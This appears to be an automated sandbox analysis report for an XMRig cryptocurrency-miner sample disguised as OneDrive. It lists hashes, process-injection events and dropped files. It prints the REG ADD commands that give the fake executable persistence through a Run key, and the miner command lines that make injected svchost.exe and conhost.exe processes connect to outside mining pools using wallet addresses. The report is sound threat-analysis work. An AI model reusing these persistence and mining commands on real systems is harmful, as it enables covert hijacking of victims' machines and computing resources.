xmrig | 71f53d9f51c308218ce477988f33c8ce23fc766a60bb803baa8062ec3911a46d

General

Target

71f53d9f51c308218ce477988f33c8ce23fc766a60bb803baa8062ec3911a46d.exe
Size

6.6MB
MD5

9227df15a138dd7f048f001db44c6ab4
SHA1

8f3a07f9afcb8d8d1beb0134470980b8c464c8fe
SHA256

71f53d9f51c308218ce477988f33c8ce23fc766a60bb803baa8062ec3911a46d
SHA512

abf151151b4ae26a35eafeb9d2986f99ddb1cdf91ce8d2100fcc7f0120ac027885a12fe152d0b44a213273bec91d40eaa76195bba00c3862c9552dda38994044

Score

10^/10

xmrig miner persistence upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner Payload 5 IoCs

miner

Processes:

resource	yara_rule
behavioral1/memory/2512-137-0x0000000140000000-0x00000001407DD000-memory.dmp	xmrig
behavioral1/memory/2512-138-0x000000014034CF44-mapping.dmp	xmrig
behavioral1/memory/2512-139-0x0000000140000000-0x00000001407DD000-memory.dmp	xmrig
behavioral1/memory/2512-140-0x0000000140000000-0x00000001407DD000-memory.dmp	xmrig
behavioral1/memory/2512-142-0x0000000140000000-0x00000001407DD000-memory.dmp	xmrig

Executes dropped EXE 1 IoCs

Processes:

OneDrive.exe

pid process

2060 OneDrive.exe

pid	process
2060	OneDrive.exe

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
behavioral1/memory/2080-134-0x0000000140000000-0x0000000142B59000-memory.dmp	upx
behavioral1/memory/2080-136-0x0000000140000000-0x0000000142B59000-memory.dmp	upx

Loads dropped DLL 1 IoCs

Processes:

OneDrive.exe

pid process

2060 OneDrive.exe

pid	process
2060	OneDrive.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

REG.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3578829114-180201921-3281645608-1000\Software\Microsoft\Windows\CurrentVersion\Run	REG.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3578829114-180201921-3281645608-1000\Software\Microsoft\Windows\CurrentVersion\Run\OneDrive = "C:\\Users\\Admin\\AppData\\Local\\Microsoft\\OneDrive\\OneDrive.exe"	REG.exe

Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

4 ipinfo.io

flow	ioc
4	ipinfo.io

Suspicious use of SetThreadContext 3 IoCs

Processes:

71f53d9f51c308218ce477988f33c8ce23fc766a60bb803baa8062ec3911a46d.exeOneDrive.exe

description	pid	process	target process
PID 3876 set thread context of 60	3876	71f53d9f51c308218ce477988f33c8ce23fc766a60bb803baa8062ec3911a46d.exe	AppLaunch.exe
PID 2060 set thread context of 2080	2060	OneDrive.exe	svchost.exe
PID 2060 set thread context of 2512	2060	OneDrive.exe	conhost.exe

Modifies registry key 1 TTPs 2 IoCs

Modify Registry
T1112

Processes:

REG.exeREG.exe

pid process

3140 REG.exe
3256 REG.exe

pid	process
3140	REG.exe
3256	REG.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

AppLaunch.exeOneDrive.exe

pid	process
60	AppLaunch.exe
60	AppLaunch.exe
2060	OneDrive.exe
2060	OneDrive.exe
2060	OneDrive.exe
2060	OneDrive.exe
2060	OneDrive.exe
2060	OneDrive.exe
2060	OneDrive.exe
2060	OneDrive.exe
2060	OneDrive.exe
2060	OneDrive.exe
2060	OneDrive.exe
2060	OneDrive.exe
2060	OneDrive.exe
2060	OneDrive.exe
2060	OneDrive.exe
2060	OneDrive.exe
2060	OneDrive.exe
2060	OneDrive.exe
2060	OneDrive.exe
2060	OneDrive.exe
2060	OneDrive.exe
2060	OneDrive.exe
2060	OneDrive.exe
2060	OneDrive.exe
2060	OneDrive.exe
2060	OneDrive.exe
2060	OneDrive.exe
2060	OneDrive.exe
2060	OneDrive.exe
2060	OneDrive.exe
2060	OneDrive.exe
2060	OneDrive.exe
2060	OneDrive.exe
2060	OneDrive.exe
2060	OneDrive.exe
2060	OneDrive.exe
2060	OneDrive.exe
2060	OneDrive.exe
2060	OneDrive.exe
2060	OneDrive.exe
2060	OneDrive.exe
2060	OneDrive.exe
2060	OneDrive.exe
2060	OneDrive.exe
2060	OneDrive.exe
2060	OneDrive.exe
2060	OneDrive.exe
2060	OneDrive.exe
2060	OneDrive.exe
2060	OneDrive.exe
2060	OneDrive.exe
2060	OneDrive.exe
2060	OneDrive.exe
2060	OneDrive.exe
2060	OneDrive.exe
2060	OneDrive.exe
2060	OneDrive.exe
2060	OneDrive.exe
2060	OneDrive.exe
2060	OneDrive.exe
2060	OneDrive.exe
2060	OneDrive.exe

Suspicious behavior: LoadsDriver 1 IoCs

Processes:

pid process

644
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

conhost.exe

description pid process

Token: SeLockMemoryPrivilege 2512 conhost.exe
Token: SeLockMemoryPrivilege 2512 conhost.exe
Suspicious use of FindShellTrayWindow 1 IoCs

Processes:

conhost.exe

pid process

2512 conhost.exe

pid	process
644

description	pid	process
Token: SeLockMemoryPrivilege	2512	conhost.exe
Token: SeLockMemoryPrivilege	2512	conhost.exe

pid	process
2512	conhost.exe

Suspicious use of WriteProcessMemory 47 IoCs

Processes:

71f53d9f51c308218ce477988f33c8ce23fc766a60bb803baa8062ec3911a46d.exeAppLaunch.exeOneDrive.exe

description	pid	process	target process
PID 3876 wrote to memory of 60	3876	71f53d9f51c308218ce477988f33c8ce23fc766a60bb803baa8062ec3911a46d.exe	AppLaunch.exe
PID 3876 wrote to memory of 60	3876	71f53d9f51c308218ce477988f33c8ce23fc766a60bb803baa8062ec3911a46d.exe	AppLaunch.exe
PID 3876 wrote to memory of 60	3876	71f53d9f51c308218ce477988f33c8ce23fc766a60bb803baa8062ec3911a46d.exe	AppLaunch.exe
PID 3876 wrote to memory of 60	3876	71f53d9f51c308218ce477988f33c8ce23fc766a60bb803baa8062ec3911a46d.exe	AppLaunch.exe
PID 3876 wrote to memory of 60	3876	71f53d9f51c308218ce477988f33c8ce23fc766a60bb803baa8062ec3911a46d.exe	AppLaunch.exe
PID 60 wrote to memory of 2060	60	AppLaunch.exe	OneDrive.exe
PID 60 wrote to memory of 2060	60	AppLaunch.exe	OneDrive.exe
PID 60 wrote to memory of 3140	60	AppLaunch.exe	REG.exe
PID 60 wrote to memory of 3140	60	AppLaunch.exe	REG.exe
PID 60 wrote to memory of 3140	60	AppLaunch.exe	REG.exe
PID 60 wrote to memory of 3256	60	AppLaunch.exe	REG.exe
PID 60 wrote to memory of 3256	60	AppLaunch.exe	REG.exe
PID 60 wrote to memory of 3256	60	AppLaunch.exe	REG.exe
PID 2060 wrote to memory of 2080	2060	OneDrive.exe	svchost.exe
PID 2060 wrote to memory of 2080	2060	OneDrive.exe	svchost.exe
PID 2060 wrote to memory of 2080	2060	OneDrive.exe	svchost.exe
PID 2060 wrote to memory of 2080	2060	OneDrive.exe	svchost.exe
PID 2060 wrote to memory of 2080	2060	OneDrive.exe	svchost.exe
PID 2060 wrote to memory of 2080	2060	OneDrive.exe	svchost.exe
PID 2060 wrote to memory of 2080	2060	OneDrive.exe	svchost.exe
PID 2060 wrote to memory of 2080	2060	OneDrive.exe	svchost.exe
PID 2060 wrote to memory of 2080	2060	OneDrive.exe	svchost.exe
PID 2060 wrote to memory of 2512	2060	OneDrive.exe	conhost.exe
PID 2060 wrote to memory of 2512	2060	OneDrive.exe	conhost.exe
PID 2060 wrote to memory of 2512	2060	OneDrive.exe	conhost.exe
PID 2060 wrote to memory of 2512	2060	OneDrive.exe	conhost.exe
PID 2060 wrote to memory of 2512	2060	OneDrive.exe	conhost.exe
PID 2060 wrote to memory of 2512	2060	OneDrive.exe	conhost.exe
PID 2060 wrote to memory of 2512	2060	OneDrive.exe	conhost.exe
PID 2060 wrote to memory of 2512	2060	OneDrive.exe	conhost.exe
PID 2060 wrote to memory of 2512	2060	OneDrive.exe	conhost.exe
PID 2060 wrote to memory of 2512	2060	OneDrive.exe	conhost.exe
PID 2060 wrote to memory of 2512	2060	OneDrive.exe	conhost.exe
PID 2060 wrote to memory of 2512	2060	OneDrive.exe	conhost.exe
PID 2060 wrote to memory of 2512	2060	OneDrive.exe	conhost.exe
PID 2060 wrote to memory of 2512	2060	OneDrive.exe	conhost.exe
PID 2060 wrote to memory of 2512	2060	OneDrive.exe	conhost.exe
PID 2060 wrote to memory of 2512	2060	OneDrive.exe	conhost.exe
PID 2060 wrote to memory of 2512	2060	OneDrive.exe	conhost.exe
PID 2060 wrote to memory of 2512	2060	OneDrive.exe	conhost.exe
PID 2060 wrote to memory of 2512	2060	OneDrive.exe	conhost.exe
PID 2060 wrote to memory of 2512	2060	OneDrive.exe	conhost.exe
PID 2060 wrote to memory of 2512	2060	OneDrive.exe	conhost.exe
PID 2060 wrote to memory of 2512	2060	OneDrive.exe	conhost.exe
PID 2060 wrote to memory of 2512	2060	OneDrive.exe	conhost.exe
PID 2060 wrote to memory of 2512	2060	OneDrive.exe	conhost.exe
PID 2060 wrote to memory of 2512	2060	OneDrive.exe	conhost.exe

C:\Users\Admin\AppData\Local\Temp\71f53d9f51c308218ce477988f33c8ce23fc766a60bb803baa8062ec3911a46d.exe
"C:\Users\Admin\AppData\Local\Temp\71f53d9f51c308218ce477988f33c8ce23fc766a60bb803baa8062ec3911a46d.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:3876

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:60

C:\Users\Admin\AppData\Local\Microsoft\OneDrive\OneDrive.exe
"C:\Users\Admin\AppData\Local\Microsoft\OneDrive\OneDrive.exe"
3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2060

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe --algo TON --pool wss://pplns.toncoinpool.io/stratum --user UQBsVUYloPrD2oLXlFJTD9eh_74LlcUD9zrdzlmQM3RoxHuQ.dalshe
4⤵
PID:2080

C:\Windows\system32\conhost.exe
C:\Windows\system32\conhost.exe -o xmr.2miners.com:2222 -u 44W9eLcymm66Eie5AyD11jYW1DaJ4GTHzZEu1QELPGS3U9vKtWEyUCaCFwhn4af8zjeQ2MWeuLgCVDTjAjiGUbyYAtQBvC1 -p "dalshe"
4⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:2512

C:\Windows\SysWOW64\REG.exe
REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v OneDrive /t REG_SZ /f /d C:\Users\Admin\AppData\Local\Microsoft\OneDrive\OneDrive.exe
3⤵
- Adds Run key to start application
- Modifies registry key
PID:3140

C:\Windows\SysWOW64\REG.exe
REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run /v OneDrive /t REG_BINARY /f /d 020000000000000000000000
3⤵
- Modifies registry key
PID:3256

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

2

T1112

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\57C8EDB95DF3F0AD4EE2DC2B8CFD4157
Filesize
4KB

MD5
f7dcb24540769805e5bb30d193944dce

SHA1
e26c583c562293356794937d9e2e6155d15449ee

SHA256
6b88c6ac55bbd6fea0ebe5a760d1ad2cfce251c59d0151a1400701cb927e36ea

SHA512
cb5ad678b0ef642bf492f32079fe77e8be20c02de267f04b545df346b25f3e4eb98bb568c4c2c483bb88f7d1826863cb515b570d620766e52476c8ee2931ea94

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157
Filesize
302B

MD5
a506182cb17e3dbc7cc80ba7ce51518d

SHA1
2443d22b06f6f1d0268155dcccec7d598c6d7963

SHA256
c3ea3bc50fb2182b03d68c81b0ffd5cbe8c45eea63a58a036591cca154bbe695

SHA512
b6e865e25e6a3a5669d18e566e43503e988fa25df0b561b6d3d3b8048dcca0527d40b26d0fe78a588acc71c0582ddf908adb30a5f9e860ea3f75d5c34ce9ef74

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\0TY6A8SuskIDMD_s
Filesize
235B

MD5
4183c5a785fbf0c26237b573ad90d702

SHA1
5f9dc32793fd32a4ee27255d19317d298b0f3bb3

SHA256
4136a41fe9417ff2ce9e8f505fd88b6ecf9231647ae507d14cea35cb7d8abe13

SHA512
67b0ee171d2bf37b83a112476dc4b5426683b03a82fabe27915fd064e5db969eaad35e579596e7a7da40f5270226491cdbf59f52cc4124be2450362fa6ee2f29

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\OneDrive\OneDrive.exe
Filesize
175KB

MD5
f3af73070387fb75b19286826cc3126c

SHA1
7774854137d7ada89f3b4bdf67631456a1e74853

SHA256
974243f2487ceeb8eeea6aa8fee215f15c7b204382d4bd12f469f712f56c3610

SHA512
a620583b2d89e3f0350ae4d5dfe2b2c160d2f982b29dea6b8e273bb39ab2d1d91a2452238e9c30cdd7151aa555e231e1ac9930f9d76f6ff80504eacb25fa557a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\OneDrive\OneDrive.exe
Filesize
175KB

MD5
f3af73070387fb75b19286826cc3126c

SHA1
7774854137d7ada89f3b4bdf67631456a1e74853

SHA256
974243f2487ceeb8eeea6aa8fee215f15c7b204382d4bd12f469f712f56c3610

SHA512
a620583b2d89e3f0350ae4d5dfe2b2c160d2f982b29dea6b8e273bb39ab2d1d91a2452238e9c30cdd7151aa555e231e1ac9930f9d76f6ff80504eacb25fa557a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\OneDrive\Secur32.dll
Filesize
316KB

MD5
fed6517a5f84eecc29edee5586d7feeb

SHA1
56df244bf73c7ec7b59c98e1f5d47b379b58a06b

SHA256
5075a0587b1b35c0152d8c44468641d0ab1c52fd8f1814ee257eceb9ffcb89b6

SHA512
45cab4395d509b5d7dfb904e84d5a679440412f494c4970191b5882572f4d1b9c9cd28d41a49619353c405c2477153b4a7a1568fcf307709df0b81b38c405642

Download Submit
\Users\Admin\AppData\Local\Microsoft\OneDrive\Secur32.dll
Filesize
316KB

MD5
fed6517a5f84eecc29edee5586d7feeb

SHA1
56df244bf73c7ec7b59c98e1f5d47b379b58a06b

SHA256
5075a0587b1b35c0152d8c44468641d0ab1c52fd8f1814ee257eceb9ffcb89b6

SHA512
45cab4395d509b5d7dfb904e84d5a679440412f494c4970191b5882572f4d1b9c9cd28d41a49619353c405c2477153b4a7a1568fcf307709df0b81b38c405642

Download Submit
memory/60-123-0x0000000000400000-0x00000000004CA000-memory.dmp

Filesize
808KB

Download
memory/60-116-0x0000000000400000-0x00000000004CA000-memory.dmp

Filesize
808KB

Download
memory/60-122-0x0000000000424E93-mapping.dmp

Download
memory/2060-124-0x0000000000000000-mapping.dmp

Download
memory/2080-136-0x0000000140000000-0x0000000142B59000-memory.dmp

Filesize
43.3MB

Download
memory/2080-135-0x0000000142B56500-mapping.dmp

Download
memory/2080-134-0x0000000140000000-0x0000000142B59000-memory.dmp

Filesize
43.3MB

Download
memory/2512-142-0x0000000140000000-0x00000001407DD000-memory.dmp

Filesize
7.9MB

Download
memory/2512-137-0x0000000140000000-0x00000001407DD000-memory.dmp

Filesize
7.9MB

Download
memory/2512-138-0x000000014034CF44-mapping.dmp

Download
memory/2512-139-0x0000000140000000-0x00000001407DD000-memory.dmp

Filesize
7.9MB

Download
memory/2512-140-0x0000000140000000-0x00000001407DD000-memory.dmp

Filesize
7.9MB

Download
memory/2512-141-0x00000247149B0000-0x00000247149D0000-memory.dmp

Filesize
128KB

Download
memory/2512-145-0x00000247163C0000-0x0000024716400000-memory.dmp

Filesize
256KB

Download
memory/2512-146-0x0000024716400000-0x0000024716420000-memory.dmp

Filesize
128KB

Download
memory/2512-147-0x0000024716420000-0x0000024716440000-memory.dmp

Filesize
128KB

Download
memory/3140-127-0x0000000000000000-mapping.dmp

Download
memory/3256-130-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

Loading Replay Monitor...

Downloads